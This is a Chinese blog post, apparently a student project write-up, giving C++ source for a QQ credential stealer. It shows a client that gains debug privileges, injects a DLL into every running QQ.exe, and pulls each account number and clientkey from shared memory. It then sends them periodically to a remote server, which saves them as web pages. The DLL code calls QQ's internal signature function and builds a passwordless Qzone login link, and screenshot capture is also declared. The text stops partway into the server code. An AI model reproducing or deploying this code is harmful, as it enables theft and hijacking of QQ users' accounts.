【大一期末项目】qqclienkey利用:基于qqclientkey的纯c++项目实践

效果演示:


效果演示1https://www.bilibili.com/video/BV1154y1Z7bS/效果演示2https://www.bilibili.com/video/BV1Aa411n7fF/第一次剪视频,发现有好多细节要注意,为了保护一个ip,我可以说拼尽全力了

前言:

        该项目主要是利用clientkey,对clientkey的获取不做深层探究,涉及到的多为基础知识。代码约共850行左右,全文约共4万字,主要作用是将来我能够给我自己复盘该项目使用。

        学算法真的很有用,写代码少了很多bug,写算法题目时那种反复检查的思想对写代码有很大的提升。

        qqclientkey,大概可以将其理解为qqweb端的临时密码。               

        关于qqclientkey,网上已经有很多前辈的研究和相关的文章,并且都通俗易懂较易理解,主要有两种方法,一种是内存中读取qqclientkey,另一种网页访问获取。第二种方法已经为很古老的方法了,可能是已经失效,也可能因为本人才学疏浅,未能成功过。不过我之后通过key尝试获取cookie,以实现key长久利用,却发现并不如以前的文章所写的一样轻松,如今有个skey,需计算获得,我用python写的脚本返回的数据头里的cookie也都为空。

# -*- coding:utf-6 -*-
from http import cookies
import requests
import webbrowser
import browser_cookie3 as bc3
#利用clientkey生成网址
qq = input()
clientkey = input()
qzone = "&u1=https://user.qzone.qq.com/" + qq + "/infocenter&source=panelstar"
qmail = "https://mail.qq.com/cgi-bin/frame_html"
url = ("https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=" + qq +
       "&clientkey=" + clientkey)
print(url)
#设置访问头
header = {
    "User-Agent":
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0",
    "Accept":
    "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
    "Accept-Language":
    "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
    "Accept-Encoding": "gzip, deflate, br",
    "Upgrade-Insecure-Requests": "1",
    "Sec-Fetch-Dest": "document",
    "Sec-Fetch-Mode": "navigate",
    "Sec-Fetch-Site": "none",
    "Sec-Fetch-User": "?1"
}

qq_web_res = requests.get(url = url,headers=header)
printf(qq_web_res.cookies)

 输出为:{ }

        只得参考某位前辈的文章,东施效颦模仿了一个。由于核心的dll是我挺久以前写出来的了,如今我未能找出那位前辈的原文。如果有哪位看过我dll源码后知晓是哪篇文章,烦请告知我,我将在博客中贴出。不胜感激。

        内存clientkey,主要是qq执行”"KernelUtil.dll“中的?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z函数获取clientkey,该函数有两个参数,第一个参数是你要获得的clientkey保存的地址,第二个参数是"buf32ByteValueAddedSignature",返回类型为void。

        于此,我们就可以通过dll注入来实现获取qqclientkey。

代码剖析:

主要流程:

        服务端创建监视线程,用于管理所有连接,用户打开客户端,客户端连接服务端。服务器接收到连接,创建新的线程来处理。客户端扫描当前目录下是否存在dll文件,不存在则向服务端发送指令1,来获取dll。若存在则执行注入(关于注入我写了一个类,本想用于任何dll注入任何进程,方便调用,结果还是写成了半该项目专用,半其他进程也能用的东西...),注入的步骤:先初始化各个成员变量。再调整自身提权(如果不执行这一步,可能没有进行注入的权限),接下来获取所有qq进程的pid并保存下来,然后进行doinject()函数挨个注入,注入后,dll将会把qq和key放入一段共享内存内,客户端将会读取该段共享内存,把qq和key保存在结构体内。之后将该结构内的qq&key挨个发送到服务端。服务端接收到数据,将其保存在网页/qq/xxxx.html内,xxxx是qq号,至此一次通讯完成。客户端会保持定期发送数据。监视线程用于某个连接过长时间未发送数据,则关闭该连接,并关闭该连接对应的线程。

三大核心:客户端,服务端,DLL

客户端:

前言:

先来看看客户端的所有函数:

//全局变量
const char gobal_dll_path[255] = "D:/key3.0.dll";        //一开始不用wchar_t是因为会出现众多问题,如转换时类型处理不当出现的乱码问题
const char process_name[255] =  "QQ.exe";   
const char ip[] = /*你的ip地址*/;
const int port = /*你的端口号*/;
const char screenshot_name[] = "1.png";               
//全局函数
void GetScreen();                                      //获取屏幕截图
int SendScreen(SOCKET m_Sock);                         //发送截图
BOOL isDllExisten();                                  
int GetDLL(SOCKET m_Sock);
int SendQQ(DLL_INJECTION &ij,SOCKET m_Sock);
SOCKET DoSocket();
//DLL_INJECTION类
class DLL_INJECTION
{
public:
	DLL_INJECTION(const char*, const char*);//wchar_t *[STRING_SIZE] ,TCHAR* [STRING_SIZE]
	~DLL_INJECTION() {CloseHandle(xxoo);};
	BOOL Init(const char*, const char*);    //初始化
	DWORD GetPID();         //获取所有qq的pid
	BOOL doInject();		//执行注入
	DWORD GetQQSize();                //获取qq结构体大小
	DWORD* GetQQAddress(int i);    //获取qq进程数量
	BOOL AdjustPrivilege();	//提权

	int GetQQCounts();		//获取qq数量
private:
	//函数区
	BOOL CreateXxOoDomain();//创建共享内存区域
	BOOL UnInjectDll(const TCHAR* pszDllFile, DWORD dwProcessId);	//卸载DLL
	//ULONG LpstrToChar(LPCTSTR Src, char* Des);

	//变量区
	HANDLE xxoo;
	TCHAR pName[STRING_SIZE];		//目标进程名
	DWORD target_pid[MAX_PROCESS];	//目标进程pid
	//PROCESSENTRY32* info;
	//char dll_name[11] = "key3.0.dll";
	int path_size;					//路径长度
	int target_counts = 0;			//QQ数量
	wchar_t dll_path[STRING_SIZE];	//注入dll路径
	char qq_and_key[PUBLIC_BUFFER_SIZE];
};

再看看客户端main函数中的执行流程:

int main()
{
    WSADATA wsaData;                        //初始化套接字
    WSAStartup(MAKEWORD(2, 2), &wsaData);    
    SOCKET mainSock = DoSocket();           //进行socket连接
    if (!isDllExisten())                    //检查dll是否存在
    {
        cout << "文件不存在!" << endl;
        GetDLL(mainSock);                    //获取dll
    }

    DLL_INJECTION inject(gobal_dll_path, process_name);
    do
    {
        if (!isDllExisten())
        {
            cout << "文件不存在!" << endl;
            GetDLL(mainSock);
        }
        inject.doInject();       //注入
        SendQQ(inject, mainSock); 
        cout << "* 延时等待中..." << endl;
        Sleep(30000);           //每隔5分钟执行一次;
    } while (inject.GetQQCounts() != 0);

    //结束socket
    char cmd = _CMD_EXIT_;
    send(mainSock, &cmd, 1, 0);
    closesocket(mainSock);
    
    WSACleanup();
    return 0;
}

        (题外话)

        关于socket,最近正好刚看完一本书,叫TCP/IP协议详解,里面关于socket的连接介绍的很通俗易懂,它是这么说的:你可以把socket连接看成是打电话,比如打给114。服务器那边,(1)要有个电话总机,获得这个电话总机的过程,就相当于调用socket()函数。(2)服务器光有总机还不行,电信局得给电话总机分配一个电话,这就类似于bind()函数将端口,和socket套接字绑定,socket套接字类似于总机,端口类似于电话,至于bind就像电信局。(3)总计开通后就一直再监听用户的拨号,用户拨打114,可能拨通,也可能获得忙音,这就相当于listen()函数来监听用户请求。(4)总机接到某个客户电话后,将用户和一个分机连接,总机本身又重新回到监听状态,这就相当于socket中的accept()函数,accept()成功后,服务器将返回一个新的套接口来与客户通信。至于客户和与分机之间的连接,则调用recv()和send()函数。(5)调用结束,关闭分机,用closesocket关闭套接口,避免浪费通信资源。

        而客户端所要做的如下(1)想要拨打114查好,首先自己得有个座机,自己座机的号码并不重要,所以我们可以指定,也可以不指定,座机就相当于套接口,号码就相当于端口。所以首先调用socket函数创建套接口(2)有了电话,我们就可以向114拨打电话,此时调用connect()函数来模拟打电话的过程,打通了程序会返回0,没打通则会告诉你错误类型。(3)打通了后我们就可以通过send(),recv()来与服务器进行沟通。(4)当我们打完后,需要挂断电话,此时则调用closesocket来实现挂断电话,关闭套接口。避免资源浪费。

        说这个的目的一是本项目刚好用到了socket连接,另一个则是该例子通俗易懂,帮我很好的理解了客户端服务器五元组建立的步骤,我分享出来希望帮到大家。

main函数:

        详细来看看main函数的执行流程。首先初始化套接字,

        然后进行与服务器的socket连接,

        之后判断DLL是否存在,

                不存在则通过GetDLL函数进行DLL的下载,

        之后创建一个DLL_INJECTION类,进行初始化工作(初始化写在构造函数内),主要包括成员变量的初始化以及获取pid,提权等操作。

        之后进行一个死循环,

                每隔五分钟(sleep(30000))

                判断一次dll是否存在(如果被破坏会导致出错),

                并进行注入,

                每次注入后都将结果发送到服务器。

与服务器进行套接字连接:SOCKET DoSocket()

SOCKET DoSocket()
{
    SOCKET mainSock = socket(AF_INET, SOCK_STREAM, 0);
    if (mainSock == 0)
    {
        cout << "创建套接字失败!" << endl;
        return 0;
    }
    struct sockaddr_in  sever_addr;
    sever_addr.sin_addr.s_addr = inet_addr(ip);
    sever_addr.sin_port = htons(port);
    sever_addr.sin_family = AF_INET;
    if(!(connect(mainSock, (LPSOCKADDR)&sever_addr, sizeof(sever_addr))))
    {
        return mainSock;
    }
    cout << "连接失败!" << endl;
    return 0;
}

        DoSocket()部分则是一段很标准的socket连接,详细的过程建议看看专业的书籍以及介绍,能够更加加深你对连接过程的理解,以及对每个变量和参数的理解。

        我创建的是TCP/IP连接,确保发送数据的完整性。

        函数如果连接成功,则返回与服务相连的套接口,供之后使用,连接失败则返回0。

判断DLL是否存在函数:BOOL isDllExisten()

//参考于《windows系统编程》
BOOL isDllExisten()
{
    BOOL flag = true;
    WIN32_FIND_DATAA wfd;
    HANDLE fDLL = FindFirstFileA(gobal_dll_path, &wfd);
    if (fDLL == INVALID_HANDLE_VALUE || wfd.nFileSizeLow != 10240)
    {
        flag = false;
    }
    FindClose(fDLL);
    return flag;
}

        本函数主要实现两个功能:

                1.判断文件是否存在

                2.判断文件完整性(比较文件大小)

        判断文件完整性可以采用比较md5的方式,我准备于今后有时间再进行实现。判断文件是否存在的过程不说,判断完整性经过实践来说是必须的,不然由于程序中包含了对dll的读写操作(创建dll,从服务器接收数据写入dll),很容易由于网络问题造成dll损坏。

        函数的返回值,主要依靠BOOL型变量flag,若是无误则返回true,有问题则返回false;由于win32api没有现成的判断文件是否存在的函数,于是我们用FindFirstFile(LPCTSTR lpFileName,LPWIN32_FIND_DATA lpFindFileData),第一个参数是文件名字,如果找到了则将该文件的相关信息存储到第二个结构体参数内。其中,第二个结构体参数中的有两个成员,一个是DWORD nFileSizeHigh,一个是DWORD nFileSizeLow,分别代表用高位DWORD数值表示文件大小,和用低位DWORD数值表示文件大小,单位都是字节,此处我用的是nFileSizeLow来判断dll长度是否正确。

        FindFirstFile函数,调用成功返回一个搜索句柄,可以记下来在FindNextFile()或者FindClose()中继续利用这个句柄,如果失败则返回INVALID_HANDLE_VALUE,我们则利用其返回值来判断文件是否存在。

下载核心dll:int GetDLL(SOCKET m_Sock)

int GetDLL(SOCKET m_Sock)
{
    int n = 0;
    //设置dll接收缓冲区并初始化;
    char dll_buf[1024] = "\x00";
    memset(dll_buf, 0, 1024);
    fstream dll_(gobal_dll_path,ios::binary|ios::out);

    //发送接收dll指令
    char cmd = _CMD_GET_DLL_;
    if (send(m_Sock, &cmd, 1, 0) == 0)
    {
        cout << "发送失败" << endl;
        return 0;
    }
    //接收数据
    int len = 0;
    while (0 < (len = recv(m_Sock, dll_buf, 1024, 0)) && len <= 1024)
    {
        if (dll_buf[0] == '\xde' && dll_buf[1] == '\xad' && dll_buf[2] == '\xbe' && dll_buf[3] == '\xff')
        {
            cout << "接收到结束符!" << endl;
            break;
        }
        cout << "接收" << ++n << "次" << ";长度为:" << len << endl;
        dll_.write(dll_buf, 1024);
        memset(dll_buf, 0, 1024);
        /*
         *  加入一个短暂的时延,不然会出错
         *  不加会导致某次接收数据不满1024
         *  致使结束符和dll数据混合在一起
         */
        Sleep(10);
    }
    //接收结束
    cout << "接收完成" << endl;
    dll_.close();
    return 0;
}

        该函数主要作用是用于下载dll,该函数一般在检测dll是否存在调用后根据其返回值调用。

        首先进行缓冲区的创立,我们将1024字节的buf作为缓冲区,并对其利用memset()进行初始化。然后利用fstream创立一个dll实体文件。当一切准备工作做完后,客户端向服务器发送指令_CMD_DLL_GET_,告诉服务器我已经准备好,我下面需要接收dll。于是采用一个循环,recv()函数的返回值是所接收到的字节数。根据这个特点,我们可以将其作为循环条件,不知道为什么,如果直接将recv()作为循环条件,对方发完后或者连接突然断开都会导致错误,对方发完后,如果对方不告诉你“我发完了,你可以不用recv了”,他就会一直保持在那。如果有时间我会单独研究一下这个问题。所以我设置了一个结束标志,char over_flag[] = “deadbeff”(应该是deadbeef,服务器端打错了,而且服务器端编译运行比较麻烦,所以就将错就错了),当服务器将全部dll发送完后,将会发送一串这个字符串,客户端接收到该字符串后,则将退出循环。

        此处还有一个一个问题,我观察了服务端的发送过程,我写的是每一次发送服务端都将输出一条发送的记录,告诉这是第几次发送,并且发送了多少个字节,可是服务端每次都是一次性输出,客户端我也是,如上我写了每一次接收将会输出一条记录,但是客户端也是一次性输出。于是我猜测服务端是一次性将数据发送完,之后客户端接收到之后,先是全部保存到系统缓冲区内,再分段保存到buf内。(以上全部基于猜测,如有问题请联系我删除或修改)。可是又有一个问题,如果采用的如上的发送和接收的方式,按理说客户端每段接收都是固定的1024字节,可是实际过程中发现。服务器端一共分10次发送,每次发送1024字节。如果不加sleep(10)的情况下,客户端一般都是分11次接收,前八次基本都是正常的1024字节,第9次或者第10次只能接受900多左右的字节,这就导致了客户端需要多一次接收,接收11次。可是客户端的第11次发送则是over_flag,这就导致客户端的over_flag和dll数据混合到了一起,致使dll出错,为了避免这种情况,我加入了短暂的时延sleep(10),我个人想法是为了让buf有一定的时间接收完完整数据,总之大体上加入这个短暂时延后,基本上能解决问题(目前没再次遇到该问题)。

        fstream写入完后,一定记得关闭。

接下来介绍关键的注入部分

提升权限:DLL_INJECTION::BOOL AdjustPrivilege()

BOOL DLL_INJECTION::AdjustPrivilege()
{
	HANDLE token;
	if ((OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &token)) == NULL)	//打开进程令牌
	{
		cout << GetLastError();
		cout << "打开进程令牌失败" << endl;
		return FALSE;
	}

	LUID luid;
	if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid) == NULL)		//查询权限
	{
		cout << GetLastError();
		cout << "权限查询失败" << endl;
		OutputDebugString(L"权限查询失败");
		return FALSE;
	}

	TOKEN_PRIVILEGES tkp;
	tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	tkp.PrivilegeCount = 1;
	tkp.Privileges[0].Luid = luid;		//固定操作,创建一个新特权,tkp即为新特权结构体;

	if (AdjustTokenPrivileges(token, FALSE, &tkp, sizeof(tkp), NULL, NULL) == NULL)			//特权调整
	{
		cout << GetLastError();
		cout << "调整自身权限失败" << endl;
		OutputDebugString(L"调整自身权限失败");
		return FALSE;
	}

	return TRUE;
}

        注入的核心是通过调用CreateRemoteThread()函数来使某个进程调用我们写好的dll,而要想调用该函数,首先要拥有足够的权限能够对目标进程进行操作,如果权限不够很可能会出现一系列错误,于是我们需要我们程序本身进程的权限进行一个提升。这里我们采用指令牌权限提升的方式

        指令牌权限提升的方式已经较为固定,打开进程令牌(OpenProcessToken),查询系统特权(LookupPrivilegeValue),调整权限(AdjustTokenPrivileges),好奇的可以看这篇文章关于进程令牌权限提升。我在github上还搜索到了一个老外写的在win10UAC下的权限提升的源码,我准备有空好好研究研究。

 获取所有qq的Pid:DLL_INJECTION::DWORD GetPID()

DWORD DLL_INJECTION::GetPID()
{
	target_counts = 0;
	HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);		//创建进程快照
	PROCESSENTRY32 info;
	if (handle == NULL)
	{
		cout << GetLastError();
		cout << "创建进程快照失败" << endl;
		return NULL;
	}
	info.dwSize = sizeof(PROCESSENTRY32);
	Process32First(handle, &info);										//获取首进程信息
	while (Process32Next(handle, &info))
	{
		if (wcscmp(info.szExeFile, pName) == 0)							//比较每个进程名和所要找的进程名
		{
			if (target_counts >= MAX_PROCESS)							//防止数组越界
			{
				break;
			}
			target_counts++;
			target_pid[target_counts] = info.th32ProcessID;
		}
	}

	return info.th32ProcessID;
}

        获取所有qqpid,思路是创建一个进程快照,一个进程一个进程的名字对比过去,名字一样的获取其pid保存,一直到遍历完所有进程为止。该处也没有什么好说的。

        需要注意的是,我用FindWindow来查询QQ进程的pid时获取的pid值好像和创建进程快照方法获取的不一样,由于该注入部分是我五年前做的了,当时不懂的很多,也没对自己的问题进行一个详细的记录,所以可能是我操作的问题。总之当时困扰了我好久,上各种地方去问,都无果。想来想去最后还是用创建进程快照,还方便获取所有qq的pid。

        获取完后,用成员变量“DWORD target_pid[MAX_PROCESS];    //目标进程pid”保存每个qq进程pid,用成员变量“int target_counts = 0;            //QQ数量”记录qq的数量

开辟共享内存:BOOL DLL_INJECTION::CreateXxOoDomain()

BOOL DLL_INJECTION::CreateXxOoDomain()
{
	xxoo = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, PUBLIC_BUFFER_SIZE, L"xxoo");
	if (xxoo == 0)
	{
		cout << GetLastError();
		cout << "CreateFileMapping Failed!" << endl;
		return false;
	}
	return true;
}

        在windows下,进程间通信有大致五种方式,分别是:通过自定义消息进行通信,通过管道进行通信,通过互斥体进行通信,通过共享内存进行通信(来源《windows系统编程》)。还有一种是我自己认为应该加上的,如果可以借助外部存储的话,还可以通过文件进行通信。此处我们采用的时通过共享内存进行通信。

        该函数旨在开辟一块共享内存,共享内存内内容可读可写,共享内存名字为“xxoo”,用于读取qq进程中获取的clientkey。我们在析构函数中,销毁这块共享内存。

        创建共享内存时,如果设置共享内存名字为Gobal:\\则会出错,百度错误码则说权限不够,目前未找到解决办法。

        

	~DLL_INJECTION() {CloseHandle(xxoo);};

 初始化工作:BOOL Init(const char*, const char*)

BOOL DLL_INJECTION::Init(const char* path, const char* name)
{
	if (!AdjustPrivilege())
	{
		cout << "提权失败!" << endl;
		return false;
	}
	if (!GetPID())
	{
		cout << "获取pid失败!" << endl;
		return false;
	}
	if (!CreateXxOoDomain())
	{
		cout << "创建共享内存失败!" << endl;
		return false;
	}
	return true;
}

        在构造函数内,我们对每个成员变量进行赋值,用0填充进行初始化工作,在本函数内,我们主要调用提权和获取pid函数以及开辟共享内存,避免每次注入都要重复进行一遍上述操作,带来很大不便。

 进行注入:BOOL DLL_INJECTION::doInject()

BOOL DLL_INJECTION::doInject()
{

	for (int i = 1; i <= target_counts; i++)
	{
		//创建共享空间
		if (xxoo == NULL)
		{
			printf("%d", GetLastError());
			OutputDebugStringA("OpenFileMapping failed \n");
		}

		HANDLE handle = OpenProcess(PROCESS_ALL_ACCESS, NULL, target_pid[i]);		//打开进程

		if (handle == NULL)
		{
			cout << GetLastError();
			cout << "获取目标进程句柄失败" << endl;
			OutputDebugString(L"获取目标进程句柄失败");
			return 0;
		}
		LPVOID lpAddr = VirtualAllocEx(handle, NULL, path_size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);			//申请虚拟内存
		if (lpAddr == NULL)
		{
			cout << GetLastError();
			cout << "目标进程中开辟虚拟内存失败" << endl;
			OutputDebugString(L"目标进程中开辟虚拟内存失败");
			return 0;
		}
		if (WriteProcessMemory(handle, lpAddr, &dll_path, path_size, NULL) == NULL)			//写入数据
		{
			cout << GetLastError();
			cout << "写入路径失败" << endl;
			OutputDebugString(L"写入路径失败");
			return 0;
		}
		PTHREAD_START_ROUTINE pStartFun = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryW");		//加载dll
		CreateRemoteThread(handle, NULL, NULL, pStartFun, lpAddr, NULL, NULL);		//创建远程线程
		Sleep(100);

		//读取共享内存
		LPCTSTR pBuf;
		pBuf = (LPCTSTR)MapViewOfFile(xxoo, FILE_MAP_WRITE | FILE_MAP_READ, 0, 0, PUBLIC_BUFFER_SIZE);
		if (pBuf == NULL)
		{
			printf("%d", GetLastError());
			printf("MapViewOfFile failed!\n");
		}
		sprintf(qq_and_key, "%s\n", pBuf);
		cout << qq_and_key << endl;
		//分割字符组
		strcpy(qq[i].qqUin, strtok(qq_and_key, "*"));
		strcpy(qq[i].qqKey, strtok(NULL, "*"));
		//cout << qq[i].qqUin << endl;
		//cout << qq[i].qqKey << endl;
		qq[i].qqKey[64] = 0;
		//cout << qq[i].qqKey[64] << endl;

		this->UnInjectDll(L"key3.0.dll", target_pid[i]);	//卸载dll以防出错
		UnmapViewOfFile(pBuf);
	}
	return true;
}

        这段代码便是本程序最核心的部分,也是需要和dll相结合的部分,但是我也没什么好说的,关于本文中所用的dll注入技术已经时相当格式化了,按部就班就行了。

        复盘一下dll注入技术,首先打开目标进程,然后在目标进程中开辟一块空间,接下来将我们的dll载入这块空间,然后创建远程线程使目标进程执行这块空间内容,最后记得卸载dll。

        本函数的主要作用就是对每个qq进程进行一个注入,并读取共享内存内容的作用,由于每个进程注入后,dll都会在加载时调用其中的steal函数,偷取key和qq,并写到共享区域中,所以每次注入完,多一个读取共享内存的操作。

        dll写入时,我们采用*作为qq和key的分割符,以qq号*key的形式写入共享内存区域,然后客户端以*为分隔符解码,存入我们自写的qq结构体内。

        

struct QQ
{
	char qqUin[15];
	char qqKey[65];
}qq[MAX_PROCESS];

        由于key长度是64位,再包含一位截断符'\x00'正好65位。

至此,一个完整的注入流程基本完成。还是要提醒一下,注入结束后记得卸载dll,并且程序结束时记得关闭共享内存区域。

 发送数据:int SendQQ(DLL_INJECTION &ij,SOCKET m_Sock)

        

int SendQQ(DLL_INJECTION &ij,SOCKET m_Sock) 
{
    DWORD sQQ = ij.GetQQSize();
    DWORD cQQ = ij.GetQQCounts();
    //建立发送缓冲区
    char buf[1024] = "";

    //发送指令
    char cmd = _CMD_SEND_QQ_;
    send(m_Sock, &cmd, 1, 0);
    //发送QQ数量
    char counts = cQQ + '0';
    send(m_Sock, &counts, 1, 0);
    for (int i = 1; i <= cQQ; i++)
    {
        memset(buf, 0, sizeof(buf));
        DWORD* pQQ = ij.GetQQAddress(i);
        //将QQ内内容转移到发送区buf
        memcpy(buf, pQQ , sQQ);
        //发送
        cout << "发送缓冲区内容:" << buf << endl;
        send(m_Sock, buf, sQQ, 0);
    }

    cout << "* 处理完成 *" << endl;
    return 0;
}

        SendQQ()函数我选择将DLL_INJECTION类和 和服务端建立连接的套接字作为参数。选择套接字作为参数是因为我需要将数据发送到服务器,选择类作为参数是因为我需要用到其中的数据。

        首先获取qq的数量,以及qq结构体的大小,获取数量表示我们将发送多少次,接下来创建发送缓冲区,并将其初始化。然后按照qq的数量发送qq结构体。

至此,客户端方面的工作基本完成。


DLL:

前言:

        dll方面的工作比较底层,关于dll的基本知识,如dll入口函数,以及入口函数内的那几个case的作用我将不再阐述了,主要研究其所做的工作

解释一下BSTR数据类型,官方解释为:A BSTR is a composite data type that consists of a length prefix, a data string, and a terminator. 大概意思就是混合数据类型,包含了字符串长度和字符串本体。

部分说明
Length prefix

长度前缀

A four-byte integer that contains the number of bytes in the following data string. It appears immediately before the first character of the data string. This value does not include the terminator.

一个4字节的整数,存储的是实际的不含结尾Null字符的字符串的字节数。它位于字符串中的第一个字符之前。

Data string

字符串

A string of Unicode characters. May contain multiple embedded null characters.

Unicode字符组成的字符串,这个字符串可以包含很多Null字符。

Terminator

结束符

A NULL (0x0000) WCHAR.

一个Null字符(2个字节存储)

        我觉得应该不难理解,就是字符串长度加字符串,本文中的CTXString类型即为BSTR类型,那个AllocTXString()函数在dll关键函数Steal()函数中并未用到(被注释掉了),大概讲一下吧。

typedef BSTR CTXStringW;

CTXStringW AllocTXString(const wchar_t* lpSrc)
{
    if (lpSrc == NULL) return NULL;     //检测lpSrc是否创建成功
    BYTE* bBuffer = new BYTE[16 + (wcslen(lpSrc) + 1) * 2];
    if (bBuffer == NULL) return NULL;
    DWORD dwZero = 0;
    DWORD dwCount = 3;
    DWORD dwLenth = wcslen(lpSrc) + 1;
    memmove(bBuffer + 0 * 4, &dwZero, 4);
    memmove(bBuffer + 1 * 4, &dwCount, 4);
    memmove(bBuffer + 2 * 4, &dwLenth, 4);
    memmove(bBuffer + 3 * 4, &dwLenth, 4);
    wcscpy((wchar_t*)(bBuffer + 4 * 4), lpSrc);
    return CTXStringW(bBuffer + 16);
}

        其实挺好理解的,如果传进来的宽字符不为空,则利用这个宽字符创建一个类似于BSTR的数据。第二行就是创建一个bBuffer,大小为(16byte+(字符串长度+结束符长度)*每个宽字符大小),按理说一个整形数据应该是4byte,也就是说最前面应该是4byte,至于为什么是16byte,我在网上找到了这个图。

  也就是说BSTR前面的头部不止只有字符串长度,而其前四个字节确定是其字符串不含'\x00'的长度,至于剩下的8个字节我并无头绪,网上的相关资料也较少。

        剩下的memove和strcpy就是将构造的头和wchar内的内容填充到构造好的BYTE字串内,再将这个BYTE字串转换为BSTR类型并返回。

        所以该函数最终表达的目的就一个,将传进来的wchar转换为BSTR类型。

窃取clientkey:VOID Steal()

VOID Steal()
{
    do {
        char littlejudge[14];

        HMODULE hKernelUtil = GetModuleHandle(L"KernelUtil.dll");       ///加载dll
        if (hKernelUtil == NULL)
        {
            OutputDebugStringA("Get KernelUtil Module failed \n");
            break;
        }
        ULONG fnGetSelfUin;
        ULONG currentQQ;
        fnGetSelfUin = (ULONG)GetProcAddress(GetModuleHandleA("KernelUtil"), "?GetSelfUin@Contact@Util@@YAKXZ");        //获取QQ账号                                                                                    //获取dll中获得qq号函数,获取kenelutil中获取qq号函数的地址
        if (fnGetSelfUin == NULL)
        {
            OutputDebugStringA("Get GetSelfUin Function failed \n");
            break;
        }
        currentQQ = ((ULONG(__cdecl*)())fnGetSelfUin)();
        //DWORD uin = ((int(*)(int))fnGetSelfUin)();
        if (currentQQ == NULL)
        {
            OutputDebugStringA("Invoke GetSelfUin Function failed \n");
            break;
        }

        // Print QQ number
        char szUin[MAX_PATH] = { 0 };
        sprintf(szUin, "%u", currentQQ);

        PVOID GetSignature = GetProcAddress(hKernelUtil, "?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z");    //函数地址
        if (GetSignature == NULL)
        {
            OutputDebugStringA("Get GetSignature Function failed \n");
            break;
        }
        WCHAR wsBuffer[MAX_PATH] = { 0 };
        CTXStringW ClientKey;// = AllocTXString(wsBuffer);
        PVOID res = ((PVOID(*)(PVOID, const char*))GetSignature)(&ClientKey, "buf32ByteValueAddedSignature");       //关键函数,获取key保存到cilentkey内存中
        if (res == NULL)
        {
            OutputDebugStringA("Invoke GetSignature Function failed \n");
            break;
        }

        // 复制下面链接,无需密码,进入QQ空间
        char msg[MAX_PATH] = { 0 };
        sprintf(msg, "https://ssl.ptlogin2.qq.com/jump?ptlang=2052&clientuin=%s&clientkey=%ws&u1=https://user.qzone.qq.com/%s%/infocenter&source=panelstar\n", szUin, ClientKey, szUin);
        BOOL dead_or_live = GoHome(szUin, ClientKey);
        if (dead_or_live != TRUE)
        {
            sprintf(littlejudge, "D!E!A!D!");
            OutputDebugStringA(littlejudge);
        }
        else
        {
            sprintf(littlejudge, "LIVE!!!!");
            OutputDebugStringA(littlejudge);
        }
        OutputDebugStringA(msg);


    } while (0);



}

       这边do{}while(0)的意思就是执行一次。之前看《linux内核源码分析》时分析过do{}while(0),但主要是在#define宏定义中的巨大作用,至于此处我也没能明白作者本意。

        当该dll注入到QQ.exe中,并且知道我们需要的函数的名字和参数的时候,窃取就变得很简单了。首先我们获取本进程内的函数所在的dll的“Kernel.dll”所在的模块句柄,然后获取其中“?GetSelfUin@Contact@Util@@YAKXZ”函数所在的地址以及“?GetSignature@Misc@Util@@YA?AVCTXStringW@@PBD@Z”函数所在的地址,最后直接调用,将返回值保存就行了。注意,获取key的函数,据逆哥的分析,有两个参数,第一个是key获取后所保存的地址,第二个是“buf32ByteValueAddedSignature”(固定参数)。而获取qq的那个函数并无参数。

        之后调用我自己写的GoHome()来让他们回家(笑。

送qq号和key回家:BOOL GoHome(char* qqUin, CTXStringW& qqKey)

        

BOOL GoHome(char* qqUin, CTXStringW& qqKey)
{
    int strlenth = (BUF_SIZE);
    HANDLE hMapFile;
    LPCTSTR pBuf;
    sprintf(g_szText, "%s*%ws", qqUin, qqKey);
    //创建文件映射对象
    if ((hMapFile = OpenFileMapping(FILE_MAP_WRITE | FILE_MAP_READ, FALSE, L"xxoo")) == NULL)
    {
        OutputDebugStringA("OpenFileMapping failed \n");
        return FALSE;
    }
    pBuf = (LPTSTR)MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);
    if (pBuf == NULL)
    {
        OutputDebugStringA("MapViewOfFile failed \n");
        return FALSE;
    }

    if (CopyMemory((PVOID)pBuf, g_szText, strlen(g_szText)) == NULL)
    {
        OutputDebugStringA("CopyMemory failed \n");
        return FALSE;
    }
    UnmapViewOfFile(pBuf);
    CloseHandle(hMapFile);
    return TRUE;
}

        该函数也很简单,就是打开内存映射文件,将qq和key写入共享内存。第一个参数是qq,第二个参数是key。该段函数的写法我参照的《windows系统编程》,挺简单的,没什么可以多说的。共享内存的名字叫“xxoo”。详可见客户端内开辟共享内存那块的写法。

        dll分析差不多结束。


服务端:

前言:

        服务端这块我用的是visual studio2019,配合服务器的g++编译器写的,不得不说,vs系列真是开发神器,虽然大了一点,但是一点都不影响他的好用,在引入多线程之前,基本所有工作只需要我在windwos端操作就行,服务器端我只需要"./sever.o"就全部解决。

        直到遇到了多线了,编译命令里需要加入参数"-lpthread",我不知道在哪里添加命令,折腾了好久,最终放弃,不过我仍是采用的是用vs2019写,写完服务器g++编译。vs2019的自动排版,自动补全,代码错误高亮仍然帮了我的大忙。

         看看服务器端main函数:

int main()
{
	cout << "v:" << 1.8 << " paltform:" << "x86" << endl;
	mainSock();
	return 0;
}

        输出一个版本号(用来检测我的vs2019上的改动是否改动到了服务器里),输出一个平台。只要功能我都是在mainSock()内实现。

监听端口,实现与客户端的连接:int mainSock()

int mainSock()
{
	int sever_sock = socket(AF_INET, SOCK_STREAM, 0);
	struct sockaddr_in sever_addr;
	sever_addr.sin_addr.s_addr = INADDR_ANY;
	sever_addr.sin_port = htons(5000);
